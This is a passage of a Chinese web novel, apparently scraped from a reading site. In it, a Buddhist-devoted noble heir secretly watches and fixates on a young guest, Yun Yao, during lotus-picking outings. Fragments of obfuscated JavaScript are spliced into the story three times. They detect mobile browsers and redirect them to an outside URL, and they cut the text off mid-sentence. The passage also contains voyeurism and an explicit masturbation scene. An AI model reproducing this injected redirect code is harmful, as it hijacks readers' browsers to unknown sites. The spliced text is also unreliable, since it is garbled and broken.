李夫人瞟一眼二女唇上檀色,也都是香容记的。她笑意更深,坚持要送:“另外还有两匹我娘家捎来的雨丝蜀锦,做衣裳好看的,待会送到府上。”李夫人笑着倾身,凑近齐姝静,“我妹妹上回见了你们世子,寤寐思服,家里再要相看就死活不愿意了。她晓得自个身份卑微,不敢奢求平妻、贵妾,但留一个侧室位子,此生能一心一意侍奉世子,就夙愿得偿。” 李夫人堆笑:“还望二位妹妹帮我捎一句话。” 齐氏姐妹了悟:原来献殷勤是为了这。 齐姝妍心里嘀咕:得,又来一位瞧了一眼大哥哥,就害相思的。 京中这样的贵女不要太多。 明明李凝和齐拂己更亲,于氏却托她俩捎话,说明李凝那条道已经试过,行不通。那她俩哪能行? 于氏的妹妹又不是菩萨,能让齐拂己动心? 齐姝妍余光偷瞟姝静,见姐姐低头吃酥山,不知怎么想的。 少顷,齐姝静抬头应承:“好,我回去同大哥哥说一说。” 李夫人躬身,忙不迭道谢。 筵席散后,齐氏姐妹在归家马车上又说起这事。齐姝妍问:“姐姐真打算和大哥哥说么?” 这可是比登天还难的事。 “受人之托,忠人之事,说肯定要说。”齐姝静扭头看窗,“若是大哥哥拒绝,也要给于姐姐回个话。” 齐姝妍长长叹了口气:“只能这么办了。” 过会,她又问:“那口脂怎么处置?” 但凡香容记出新品,都会提前呈给汉阳公主。二姐妹早在上月就得了公主赏赐的丹色口脂并面脂、红雪、紫雪,并不需要李夫人这两盒。 其实,建平侯府要是想订,也能提前订的,但李凝竟然没告知李夫人这项权利,要他的夫人等市面上都出了,自己去买。 齐姝妍不由非议李凝和步仙镝,说男人都糙得很,完全不上心。 齐姝静听妹妹抱怨半晌,才启唇:“不如送云窈吧,上回她送谢礼感激我们带她游湖,还没回呢。” “好,这主意好!” 齐氏姐妹到家门口时,侯府小厮刚好送来雨丝蜀锦。齐姝静往那侯府车上眺了一眼,齐姝妍则命婢女抱起蜀锦。 二女先去木樨小筑,将口脂蜀锦一并转赠。 她们还要去向冯氏请安,行程安排得紧,婉拒了云窈的喝茶留座,就往外走。 齐姝妍是个快嘴,云窈被压得哑口,待齐氏姐妹已经出屋了,云窈出声,命落玉拿未开封的新茶,她和落玉一人抱一个罐子追——娘亲教导来而不往非礼,收了口脂蜀锦一定要回礼。 云窈到院门口才追上齐氏姐妹,喘气道:“两位姐姐稍候!” 云窈将自个手中,落玉手中的罐子都交给齐氏姐妹:“这两罐寿圣院产的龙井,比不得姐姐们送我的好礼,切莫嫌弃。” “唉你真是太客气了!”齐姝妍为了抱好茶罐,蹲了一下,调整姿势。反倒是齐姝静先瞧见由远及近的齐拂己,屈膝行礼:“大哥哥。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499684|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 齐姝妍转身也跟着喊哥。 云窈愣了须臾,才反应过来大哥哥就是大公子、世子。 听了无数次名头事迹的贵人,见却是第一回亲眼! 云窈低着脑袋,只用余光偷偷打量,先瞥见的是男子的皂靴,再往上茧白直裰,大公子的身量好像比旁边的桂树还高,云窈视线再往上,见陌生的眉眼口鼻,瞬时愣怔。 没想到世间还有这般好看的人! 冉冉近前,姿态也皎然雅致! 云窈想了一遍见过的美男子,没有比得上眼前这位大公子的。她站在门口檐下阴凉处,却恍觉走进了亮处,周遭全是他照人的光彩。 不知不觉中,云窈的偷窥变成仰头直视,直到齐姝妍问了句“大哥哥这是要去哪”,云窈才如梦初醒,慌张低头,又因失礼红了耳根。 她默默庆幸,还好,世子的视线始终没和她交汇对上,他不知道她那样直勾勾打量他。 齐拂己缓步踱到面前,和仨女都离得不远,语气平淡答话:“去佛堂。” 说罢垂下眼皮,原本打算像往常那样目光随意落于虚无处,却冷不丁瞥见只垂着的手。 齐拂己视线不动声色移了半寸,定在云窈手上——腕细肤白,五指纤长,指节不深,指甲不像旁的贵女那样染丹凤,呈现干干净净的肉色。 齐拂己的背和脖颈渐渐挺直,越来越直,甚至绷得有几分僵。 因为始终垂耷眼皮,旁人俱不知他在看云窈的手。 云窈还在纠结,大公子生得这么好看,心肠应该也不坏。不,画龙画虎画骨难,知人知面不知心,当初单氏和那丫鬟也对她好,面上哪看得出来。不对,大公子是好人!还未见面时就出手相救,帮她脱离二房! 她应该向齐拂己道谢! 但还是怯生占了上风。 听见齐姝妍说了句“那一起走,我们正好有话要同大哥哥讲”,云窈不仅没有搭讪,反而趁这机会,马上小声嗫嚅:“那我先回去了。” 她对齐氏姐妹摆手、转身,回房,一系列动作几在眨眼间完成。 木樨小院又仅剩绿树青砖,不见人影。 齐拂己看起来也没多瞧,已抬腿迈步往佛堂方向走。齐氏姐妹在旁说李夫人拜托之事:“那位小姐不计较身份,贵妾也好,侍妾也行,就想跟着大哥哥您。” 齐拂己抿唇不言,心里回想刚刚云窈着急忙慌走的场景。她就是只雪白小兔,蹿出草丛,露个身子,红眼睛转两转,就逃走了。 兔子双脚一跳,好似跃在他心里。 他不禁浮现那日别有洞天里,她贴身扭动,滴在潮红面颊上的那滴泪。 齐拂己食指和中指并拢,在拇指腹上狠狠擦了下,仿佛迟来数日,隔空为云窈拭泪。 他侧首,冷淡回应两位妹妹:“我只求佛妙果,不求妻妾。今生无此妄念,你们刚才说的话,以后不要在我面前再提。” 10. 第十章 齐氏姐妹俱不意外,干脆应好。 齐拂己头也不回往佛堂去。对一尊菩萨、一炉檀香,诵经修禅,日落月升,周而复始。 又过十余日,落玉突然和云窈说想吃莲子了。 云窈无奈笑笑:“哪去寻莲子啊。” 一日三餐并零嘴,都是国公府给什么吃什么,她没提过,也不敢提建议。 后厨从不用莲子做食材,唯一那回过了嘴瘾的,是她和齐氏姐妹自己摘回来的。 “小姐上回不是摘了些么?就那莲子,可好吃了!” 云窈闻言回味,的确,那批莲子极嫩,莲心都不苦,一时间也被落玉说馋。 “那湖上还有莲蓬吗?”落玉怂恿,“我们再摘点回来?” 云窈回想湖里野莲肆意生长,上回她们只摘了一小片:“如果没别人采摘,应该还有。” 落玉摇云窈胳膊:“好小姐,我们去摘些吧——那莲蓬不摘,也浪费了。” 云窈拒绝。 落玉契而不舍,一再央求,云窈终于架不住心软,喊上小院里能喊上的婢女仆妇,一道去采莲。 云窈数过,她们有八名女子,人多势众,旁人定不敢行歹事! 乌泱泱一行人上琴堤,过泉亭,泛舟清风池。 没旁的人摘,莲蓬都还在,哪怕自熟枯萎,也仍挂在茎上。 云窈记得上回来时,最前头临岸那片野莲蓬都还似苞,这会全胀大成熟,不由欣喜:“今日莲蓬比那日还多。” 落玉和一众婢女闻言都高兴,两船八方开摘,云窈却朝更远些的岸上眺,有间小屋,来两回都是木门紧闭。 没贴门联,阶上也尽生青苔,像是长期没人住的地方。 她云窈上回就有留意,却到眼下才敢问:“那边是哪里?” 汉阳公主并未拨体己下人给云窈,小筑里婢女仆妇皆是近十年内买进来的,不知明月庵,都说那屋子无名无主。 “一直是荒地。”有仆妇道。 另有婢女附和:“是啊,打奴进府时就没人住,也没人去那边。” 云窈闻言反而宽心。 其实她打心眼里喜欢游湖、赏荷,只是寄人篱下,拘紧放不开。上次她就想摘了荷花带回去插瓶,不敢开口,眼下确定再无他人,才斗胆做一回主,遥指岸边最艳丽完整的数朵红莲:“再往前划些,我们去摘那几朵荷花插瓶!” “好!” 众女齐心协力,摇橹开路,碧绿的荷叶被分拨对开,船往前驶,涟漪向后缓缓蔓延。 路上云窈和落玉剥刚采的莲蓬,绿壳直接放进口里咬开,然后手一捏,白嫩的莲子就挤进嘴中。如此剥着,到第三颗,云窈一咬:“哎呀瘪的!” 她不自觉鼓了下腮。 庵内窗后,透过一线几不可察缝隙窥视的齐拂己缓旋唇角——没想到她还有这样鲜活可爱的表情。 快到岸边,云窈伸臂指挥:“那边,摘那边那朵!” 那是附近最美的一朵。 落玉听令,单腿跨上船头甲板,拔了两下红莲都没拔动。云窈道:“我来!” 说着就挽袖子,也跨上甲板。 窗后齐拂己又不自觉笑了下。 云窈使出吃奶的劲拔了又拔,回头同落玉嘟囔:“我也不行,咱俩一起使力!” 二女一同用力,差点跌倒,却仍抽拔不出荷花。云窈突然皱眉:“不对呀,掐下来就行。” 不用拔的。 齐拂己无声摇头,高旋着嘴角,眼里全是笑意。 云窈已掐下荷花,让落玉收好,自己再去摘别的。湖上虽有微风,但亦有日晒,不一会她就出了汗,纱衣紧贴身上,隐露曲致。 云窈却不察,一会摘荷花一会采莲蓬,还有个仆妇下地挖藕,真摸出一根带泥九孔的,众人欢呼。 云窈忙得不亦乐乎,渐渐忘记身处齐府,觉得还在杭州西湖上,和爹娘一起划船,摘了莲蓬就坐船上现剥现吃。 落玉从带上船的壶里倒出一碗乌梅汤,端给云窈:“小姐,喝点饮子。” 云窈头回在国公府喝乌梅汤,就发现里面勾兑了米酒。她特别容易醉,所以后来就喝得少,但现下一来极渴,二来兴奋忘形,接过碗咕噜噜一饮而尽。 很快上头,泛起困意,一般这时候爹爹都会收好桨,一家三口并排躺船上小憩,任由舟飘。 阴凉,无浪,惬意。 云窈晕乎乎就往甲板上躺,仰面呢喃:“这才是夏天呢。” 这才是她的夏天。 她闭上眼,很快进入梦乡。脸上始终挂笑,原先放在身上的手渐渐滑落,垂在船沿。 窗后,齐拂己目不转睛,幽幽地想:是他上回盯着看的那只手,赏心悦目。 云窈仍出微汗,纱衣沾了贴身,从齐拂己方向望去刚好见她后仰着,修长若天鹅的脖颈。那两团又高耸曲致,一滴汗自幽深隐秘处倒滑过锁骨,到脖颈,再倒下巴。 这一滴汗,比那日眼角垂落的泪滴更诱人。齐拂己恍觉汗珠变成了自己的手,指腹一顺捋过锁骨,脖颈,到下巴。 戛然而止。 再往前一点,是她的唇,不薄也不算厚,肉生得刚刚好,红透欲滴。 齐拂己整个人隐在窗后的阴影里,身形晦暗,眸色也愈来愈幽深。 湖风掠过,将云窈衣领刮起,像个布口袋。齐拂己亦渐渐起势,坚如金刚杵。 他喉间不自觉咽了咽,都怪这夏风,掀她的纱衣也撩他的袍衫,怪这盛夏三伏,还余春兴。 不是幡动,是风动。 翌日。 汉阳公主没想到长子一大早会来请安,有多久没遇着这事了? 给她激动的,一会关切齐拂己吃了没,让上满桌早膳,一会又命仆妇们再多端些冰盆进来,免得热坏儿子。 公主自个座上也坐不住,不住挪身。 齐拂己和煦回应:“孩儿已经用过早膳,只想陪母亲多说会话。” 汉阳公主仰头望天,方才抑住老泪纵横。 他陪伴公主闲聊,半个时辰过去,仍然没有见到想见的人。 据他了解,每日清晨云窈都会来问公主安,最迟不过辰时。如今已辰时一刻,怎还不见佳人芳踪? 齐拂己该答答,该笑笑,面不改色,心里却思忖:是什么绊住了她? 云窈的确被人绊住。 她今早独自出门,没走多久就邂逅齐拂意,他也是一个人。二人并肩走了一段路,云窈很快留意到齐拂意左右脚不平,肩膀也忽高忽低。 平时在公主那,她偶尔会同齐拂意搭话,已经发现他本性不坏,但因为都是坐着,没察觉腿疾。 云窈不作声压慢脚步,不叫齐拂意走太急,现出腿跛。 又三、四十步,齐拂意才忽然意识到云窈在迁就自己,犹如当胸被捶一拳,心头狂跳。 他再向云窈打听时,面上就沾染薄红:“妹妹芳龄几何?” “十七。” “那你比阿静阿妍都小,哪月生的?” “正月。” “正月几日的?”齐拂意追问。 “二二,”云窈咬唇,“今日十七岁零七月整。” 齐拂意一笑:“我是五月二十二生的,刚好痴长妹妹八个月。” 齐拂己久候不见人,辞别公主出院,就瞧见云窈和二弟并排同行,言笑晏晏。 呵,怪不得迟了。 齐拂己心头泛过一阵冷意,又觉两分牙酸。 面上却不显,一如既往温文平和。 云窈先瞥见大公子,但她没和他说过话,连照面都不曾正经打过,打招呼岂不唐突? 她假装没看见,直到走得很近了,齐拂意才眯眼瞧清,伸臂急呼:“大哥!” 齐拂己点了点下巴,淡道:“我来看母亲。” 话音将落就往右手踱下台阶,再未瞥二人一眼。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499685|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 齐拂意注视兄长背影,向云窈介绍:“这是我大哥,世子。” 云窈屈膝低头:“民女失礼,没来得及请安。” “不要紧。”齐拂意微笑,用手上折扇虚扶起她,他的语气也很温柔,“我大哥是修佛世外人,不拘繁文缛节,也不会因此怪罪谁。” 齐拂意再次眺向齐拂己离去方向,兄长这是去佛堂?奇怪,怎么孤身一人?大安速喜呢? 他今日是为了和云窈私下说话,特意不带长随,大哥又是为了什么? 图个清修? 云窈未再眺,目不斜视,心中默想:大安说世子和善能容,现在二公子也这么说。 如果人人都夸赞一个人心肠好,那他就真的是大善人! 云窈自此笃定齐拂己人好。 她攥了下拳头:下回见到大公子一定要向他道谢!谢他救她这个未曾谋面,不相干的人! 真是大慈大悲,云窈突然恨不得拜齐拂己一拜。 她很快得了这个机会。 问完安出来不久,就眺见齐拂己蹲在一排垂丝海棠下。这季节花早谢,养鸟人把树枝当架,挂了七、八个鸟笼。齐拂己就蹲在一只镀金的鸟笼下,不知在做什么。 没想到能这么快再见,云窈愣了下,才悄悄走近,又怕无声无息吓着大公子,半道上脚步刻意加重,弄出声响。 齐拂己兀地转身,云窈反被吓一跳,不自觉连退两步。 齐拂己垂眼看她的绣鞋挪远,默不作声。 云窈抚胸,渐渐镇定下来,视线下移,见他掌中托着一只黄绿相间的鹦鹉,缩翅垂首,似有些奄。她一嗅就能闻到檀香和膏药味。 云窈再往齐拂几身后瞟,草地上点点血迹,便问:“大公子……在救鹦哥?哦忘了介绍,大公子恕罪!”云窈急急行礼,“民女姓云名窈,是单姨娘的侄女,借住在木樨小院。余婆他们在别有洞天救的就是民女,当日多亏大公子在殿下面前美言,民女方能脱困。” 半晌,齐拂己在两瓣唇间悠悠碾过三字:“有印象。” 云窈微微蹙眉,如此深恩在他眼里就仅仅只是“有印象”? 下一瞬她就想通了,贵人事多,她只是芥子般渺小的一粒,大公子就算忘了她也正常。 但人家不徒报,她却要知恩,再叩拜,恭恭敬敬:“多谢大公子出手相助,大恩大德民女没齿难忘!” 齐拂己敛眸,讳莫如深。 云窈没怎么对视齐拂己,视线再次落到鹦鹉身上,关切:“这只鹦哥受伤了吗?” 这一排笼里养的都是汉阳公主的鹦鹉,有一只试图从金笼中逃走,却因为太久未飞,翅膀退化,跌落受伤。 “它从金笼里摔出来,跌伤翅膀,我刚好瞧见,给它治了下伤。”齐拂己徐徐将鹦鹉放回金笼,反锁上。 云窈笑道:“大公子慈悲心善,救苦救难。” 她合唇默默添上半句:人鸟都救。 再抬头时瞥见齐拂己额上汗涔涔。 他刚才有出这么多汗吗? 云窈不大记得,见对面竹林地上全是阴影,便道:“这里晒,大公子不如竹下说话?” 邀完她就后悔了,去竹下还说什么呢?该谢的已经谢完了,不知道再讲什么。 齐拂己睹着云窈脸上细微变化,眸色晦暗:“无防,这里说一样的。” 而后阖唇,似在等她开口。 她没话呀! 尴尬! 云窈干杵久了,甚至闻见齐拂己身上淡淡檀香混冷香。她想,如果自己是只猴子此刻肯定抓耳挠腮,但不是,于是咬唇,几快咬破。 少顷,齐拂己开口:“晒与不晒,境由心造。青青翠竹尽是法身……”他眺向对面竹林,底下还开一簇簇紫竹花,“而那紫竹花也无非般若。” 云窈忙点头:“大公子一言,醍醐灌顶。” 说完这句,捉襟见肘,再逼她没话找话,她就要哭了。 11. 第十一章 好在这时养鹦鹉的小厮小解回来,请安询问,话头就此岔开。 云窈松了口气,赶紧屈膝:“那民女就不打扰大公子了,就此拜别!” 她碎步往木樨小筑赶,走得飞快,更不敢回头。 齐拂己一面向小厮交代鸟伤情况,一面余光眺看云窈,那兔子又不见了。 狡兔三窟。 他心底忽然生起一丝空落和潮湿,就像潮水退却后的沙滩。 “就这些,你谨记了。”他嘴上有条不紊交代,倒是不曾影响。 叮嘱完,转身往佛堂方向离去。 “恭送世子。”养鸟小厮在后弯腰。 齐拂几冉步曲径。 国公府铺地不用寻常鹅卵石,都是和田的冰糯玉,映得他面沉如水——其实,刚刚齐拂己不仅对云窈动念,还在提及竹林时忆起合奏的陌生女子。 他不仅想起床榻和甲板上的云窈,还思及水月寺那晚的梦。 自己最近怎么了? 真是太容易被影响了。 先是琴女,再是云窈,他生了疑,是不是方丈那句话引动了魔障,让他对每一个女人都生出欲念。 齐拂己在佛堂前遇见等候在此的大安速喜。 大安速喜拱手,正准备随主人进佛堂,齐拂己却拐了弯,二仆俱是一愣,大安追上问:“世子我们去明月庵吗?” “出府。” 速喜闻言即刻去备马,齐拂己扫了眼,道:“去备辆车。” 世子鲜少乘车,速喜虽然诧异,但仍迅速办好。主仆仨人自角门出府,遵照齐拂己吩咐,驶往城东,过了金光门就是青龙大街,那里汇聚了二、三十家秦楼楚馆,是天下闻名的风流薮泽。 马车距门楼尚余一段距离,就闻着新声桥笑,浓烈酒味和黏腻的脂粉香。 齐拂己眉头微蹙,在车厢内发话:“不要再进了,调头寻间茶肆。” “唉,好!”速喜和大安都晓得世子从不沾酒气,寻了一幽静雅致茶楼,一进门就掏银子包下。 齐拂己隐在暗处,等清完场,才负手登楼,踱入二层包厢。他穿过栏杆罩入里间,吩咐:“落帘。” 大安即刻散开银钩上束的水晶帘,齐拂己则坐上里间太师椅,两臂轻轻搭上扶手。他启唇吩咐:“速喜去青龙大街请两名章台人来。大安,你去寻一副面具。” “啊?” “啊?” 大安和速喜惊得同时出声。 大安又问:“世——” 才一字就被速喜用肘重重拐了下,立马噤声。 二仆各自去办交待事情,虽然世子未曾仔细提及要请怎样的青楼女子,但速喜还是先认真打听一番,做了功课,才邀请青龙大街上最富才学的女校书,亦是群芳楼的头牌。 速喜先领女校书去见齐拂己,而后自个折返,又用花重金请动名满京城的花魁娘子蓉姬。 蓉姬人如其名,出水芙蓉,芳华绝代,连速喜都看呆许久。 他领蓉姬去见齐拂己时,那位女校书正好从包间出来,一脸挫败,大安愣愣说了句“这就走了?”,惹得蓉姬也是一愣——女校书可是青龙大街最有趣的一位,世家公子不做别的,单单与之对谈,都没有少于两个时辰的。 竟有女校书吸引不了的男人? 蓉姬不由得对今日要见的贵人生出两分忐忑,入屋后小心翼翼抬头。 水晶帘微微晃动,一刹露出帘后端坐的男子,一刹又遮蔽。 蓉姬用了好一会才瞧清,贵人坐姿挺拔倜傥,但是戴了银面具,藏住上半张脸。她不自觉去瞥面具与肌肤相接处的鼻梁,如此高挺,再往下目光依次在男人紧抿的唇和凸起的喉结上定住,连恍了两回神。 蓉姬识人颇广,第一次失礼,不由得懊恼低头,心里却又止不住想:这男子上下定都不俗。 两串水晶帘相撞,发出清脆声响,令屋内愈发寂静。 “出去。”男子突然开口,屏退蓉姬。 他的语气平和却果断,带着一份不容置喙的威慑,蓉姬下意识应诺,甚至不受控跪在地上磕了个头。 待蓉姬退出去后,齐拂己才缓缓攥紧太师椅扶手——不行,她们都不行。 确定自己只能对云窈和琴女动念,尤其云窈。 齐拂己手背青筋凸起,默默告诫自己,仅止欲念而已。 他对云窈,只有欲念。 只有无智愚人才坠入欲海,堕于欲堑。他多诵佛经持戒,便可堪破。 齐拂己起身下令:“回佛堂。” 假以时日,坐禅成佛。 马车驶回国公府,齐拂己跨过门槛后一直往北走,大安和速喜跟在后面,不住对视,但直到上了琴堤,大安才敢开口:“世子,不是要去佛堂吗?” 齐拂己脚下不停,回头扫了大安一眼:正是,不知缘何有这一问? 大安缩肩猫腰:“可是……这好像是去明月庵的路?” * 云窈一回木樨小筑,落玉就问:“小姐今日怎回得这么晚?” “路上遇到大公子救鹦鹉,耽搁了会。” “你见着世子啦?”落玉缓了缓才发问,府里人皆称呼世子,她家小姐却喊大公子,方才一时没对上人。 云窈点头。 她都是问安回来再用早膳,今日后厨送的是甜浆粥和果仁蒸饼,已经摆在桌上。她便往桌边落座,嘴上说着齐拂己救鸟之事,但未提及自己道谢。 落玉听完安静了会,边递云窈帕子擦手,边小声问:“世子真像传的那样,英俊潇洒,神仙一般,心肠也好吗?” 仅须臾,云窈就点头肯定,并将擦完的帕子递还落玉:“是,大公子和我说话,一点架子都没有。”想到那鸟笼是小厮忘关,才伤了公主的鸟,齐拂己不仅没有惩治小厮,反而帮着处理、担责,又思及他修佛,云窈不由语气加重,分外肯定,“而且他是真的和善能容!” “那他好看吗?”落玉总听人夸世子容颜,较为关注。 云窈一笑:“我就没见过跟他一样好看的第二人。” “比小姐如何?” 云窈讶异,抬手虚捂落玉的唇,又担忧望向窗外:“男女不同,如何能比?再则大公子贤身贵体,我们这些泥岂能同云比较?”云窈伸手拿蒸饼,“方才那样的话可千万别再说了。” 落玉却穷追不舍:“世子如果像小姐说的那样,和善能容,就不会介意我们刚才讲的话,更不会问罪。” 云窈一手执饼,一手舀粥,点头:“这倒也是。” “小姐,你说世上怎么会有这么完美的人?出身高贵,长得好看,还性子好!” “是啊……”云窈亦感叹。都说人无完人,齐拂己却像庙里供的金身,完美无缺,闪闪发光。 但金身完人也不能阻挡她喝粥,她低头用膳,瞬将齐拂己抛之脑后。 “怪不得这府里许多婢女都喜欢世子。” 落玉冷不丁冒出一句,又吓云窈一大跳。她放下瓷勺,饼也暂且放下,侧半个身子认真叮嘱落玉:“你可千万别动这种心思!” 大公子和她们身份相差犹如天堑,相思无解,只会害了自己。 再则,齐拂己虽然善良、包容,但他身上是有一份疏离的——这疏离不是冷漠、更不是高高在上的架子,而是菩萨与凡人间的疏离。 菩萨下凡,将人从泥潭中抱起,菩萨因此脚沾泥,衣染污,这都是可以的,但被救起的凡人唯有对菩萨虔诚感激,谢过菩萨的牺牲。哪有因这一抱,对菩萨动爱欲的? 世人求佛拜佛,何曾听过喜欢佛? 天上神圣,只能仰望,凛然不可侵犯。 落玉连连回应知道,本来就是说别人的事,没往自己身上联系,很快揭过。云窈也安心用了膳,落玉再递清茶漱口,拿盆接着。 待一切忙完,落玉脸上突然堆起十分明显的讨好笑容:“小姐,我们今日也去摘莲子吧?我看还能再摘一回。” 云窈回忆,的确上回也没摘完,再则,莲蓬就这一季,再不摘,可能过两天就枯了。 “行呢,”她笑,“莫待无花空折枝,莫待无莲也空折枝,我们这会去,午膳前赶回来。” 这两日落玉弄来一小炉,主仆俩可以躲在闺房里捣鼓加餐,落玉当即拍掌:“这样好,下午还能煮莲子汤!” 云窈笑:“快去吧!” 她依然叫上不少婢女仆妇,一行人出小筑没走多远,尚未上琴堤,就逢着齐拂意和他的贴身长随。 齐拂意摇扇的手定住,同云窈打了招呼,又道:“一天遇两回妹妹。” 本来还有后半句“真有缘分”,可未说自臊,讲不出口。 云窈回礼,接着就道别。齐拂意急得嗓子发干:“妹妹要去哪里?” 云窈瞬间脸红,仿佛做偷窃事被逮个正着,讲不出话。还是仆妇答的话:“回二公子,云姑娘和我等要去清风池采莲蓬。” 齐拂意眉尾微扬,清风池?采莲? 他腿脚不便,连着有好几个夏天不曾上琴堤,一时觉遥远陌生。 “我好久没去了,也无事,妹妹如果不嫌弃……”齐拂意合唇,默默打了气,才小心续问:“如果不嫌弃,能不能带我?” 云窈不大情愿,但这种情况下,她总是不敢拒绝,点了点头。 齐拂意旋唇角,抑不住脸上喜色。 云窈面上瞧着无甚变化,心里却压上块重石头。 但路上她还是放慢了步子,甚至上琴堤坡陡时,刻意停下来等齐拂意——倒不是想和他亲近,换一个腿脚不便的人,她也会这样照顾。 齐拂意倒是激动得胸脯起伏,控制不住咳了两声。 琴堤上,云窈再未出声。齐拂意也紧张,都过了泉亭才紧着嗓子问出一句:“妹妹之前来采过莲吗?” 其实刚才听婆子婢女们叽叽喳喳,已经晓得她们来过一回。 “来了两趟,头回是和大姑娘和二姑娘来的。”云窈回答时或看前方,或低头,刻意避免同齐拂意对视。 齐拂意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15499686|170282||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微笑:“听起来像是二妹妹喜欢的事。” 云窈不知如何接话,索性粘起两瓣唇。 良久,齐拂意又道:“谢谢妹妹刚才上堤时等我。” 云窈咬唇:“些小之事,二公子太客气了。” 她声音太小了,后面半句齐拂意没听清,但他还是高兴。 在前面和众仆妇聊天的落玉听见二人对话,连着回了两次头,还冲云窈眨了一回眼。 过了会下堤上船时,落玉逮着机会将云窈拉到一边:“小姐,二公子也很好啊。” 她刚才一路上听大伙讲了许多齐拂意的事,发现这也是位翩翩谦公子。而且她感觉刚才二公子待小姐,比刚听到的还好,不一般。 “是很好啊。”云窈应和,脑海里却不自觉浮现齐拂己面容姿影,二公子人好,但这府里最大的善人还是大公子,当仁不让。 云窈一时神游,反应过来时齐拂意已经坐在她这艘船上。这、这,云窈方寸大乱,下意识往后靠,背磕上船头。 “妹妹当心!”齐拂意伸臂欲扶云窈,但见落玉先扶住,他又立刻收臂,没有触碰,全程神色大方坦然,流露的关切也是真的。 云窈低头沉默了会,还是谢过齐拂意提醒。 两艘船驶进荷花丛,好像除了云窈,都挺高兴,她也不好扫兴,挤出笑意,跟着采莲蓬。齐拂意也想尝试,由坐改站,但腿不便一时没稳住。 “二公子当心!”云窈不禁提醒,“二公子要不就先坐着,我们采了给您尝。” 齐拂意温文一笑:“首先我也要谢过云妹妹提醒,但是不打紧的,我想自己试着摘一只。” 云窈不好再劝,只得在齐拂意上船尾,执意要摘一只莲蓬时,守护在旁——她提醒吊胆,时刻担心齐拂意落水,出个三长两短,她小命不保。 云窈甚至默默向佛祖祷告,希望齐拂意早些摘完,坐下来。 “我摘到了!”齐拂意高呼。云窈则暗中长松一口气。 “云妹妹你快尝尝!”他拿到云窈面前邀功,云窈一瞥就知道这莲蓬老了,不会好吃,便还是笑着伸手去接,待会无论尝到什么都说好吃。 齐拂意却没给她,亲手剥出一粒翠色,还打算再剥里头的莲子,但是剥不好。 “我自己来吧。”云窈笑道,不动声色拿走整只莲子,另择了一只嫩的递给齐拂意:“二公子也尝尝我摘的这只。” “好。”齐拂意毫不犹豫接过,开剥,又剥不好。云窈原本打算告诉他可以直接咬绿壳,但见齐拂意的长随接了主人手上烂摊子,剥出一颗颗白莲子,她就没再多话。 齐拂意尝了一颗,由衷感叹:“好甜啊。” 甜到心里去了。 云窈也尝齐拂意摘的,老了干了,可真苦啊。 其实今日天气比前两回来时凉爽,但云窈却因为刚才的一惊一乍,急出了满头的汗。齐拂意瞧见提醒:“妹妹这里有汗。”他翻找袖袋,“这方帕子我不曾用过……” 云窈不会也不敢用他的帕子,忙打断:“没事我有我有!” 她掏出自己的巾帕胡乱擦拭额头,接着又匆忙塞回袖袋。 不远处,明月庵那扇窗已经多日不曾紧闭,始终留有一线。自船驶近时齐拂己就开始盯,幽深的目光不曾从船上挪开——云窈对待二弟,又是提醒又是守护,他清楚睹见她面上的紧张和担忧。她二人不仅哥哥妹妹的喊,连摘的莲蓬都要互换着吃。 别人摘的更香么? 齐拂己始终缄默,直到莲舟驶回远岸,舟上的人也尽散了,他才从明月庵出来,缓步琴堤。 气氛莫名低沉,大安和速喜皆不敢言。 齐拂己走到码头,上了刚才云窈和二弟乘的那艘船。 他伫立了会,平静的脸上读不出任何情绪,少顷,扫见座下落着一条绢帕。 齐拂己走过去,弯腰捡起,绢帕素白,上面用银线绣了一个窈字。 正是云窈方才擦汗那条——她慌乱下并没有成功塞进袖袋,反而错位,误落地上。 二弟就这么挠乱她的心神么? 齐拂己想到五指倏地蜷曲,将绢帕攥紧。 须臾,直起身,神色自若将绢帕收入怀中。 是夜,戌时。 齐拂己如常就寝,更衣时云窈的绢帕从怀里飘出来。 他已站在床边衣架旁,却攥着手帕转身,走向桌边。 掌上徐徐摊开手帕,对着桌上那盏混了檀香的孤灯细看——帕上除却窈字,还有白天留下的汗渍,和隐约几丝云窈身上的浅淡香味。 齐拂己面无表情,褪低中裤,低头单手扶正。而后另一只手执帕靠近,将汗渍对准,裹住。修长的五指又摁住手帕。 全程缓慢,凝眸犹如墨潭 他闭起双眼,一念成魔。 脖颈和手背的青筋渐渐鼓起,他告诉自己无关乎情爱,仅只欲念,只是冲动。 他想着云窈,加快抚弄,面目逐渐变得狰狞,喘息也越来越重,终忍不住低吼一声。 12. 第十二章 云窈采莲回来,不过三日,将用过晚膳,就有汉阳公主的仆妇前来知会:“明日殿下寿宴,姑娘早上就不用过去请安了,差不多巳时直接去梅园坐席。” “殿下过寿?”云窈张目。眼下天已昏黑,院子里的婢女正掌灯,这没几个时辰就到明日了! 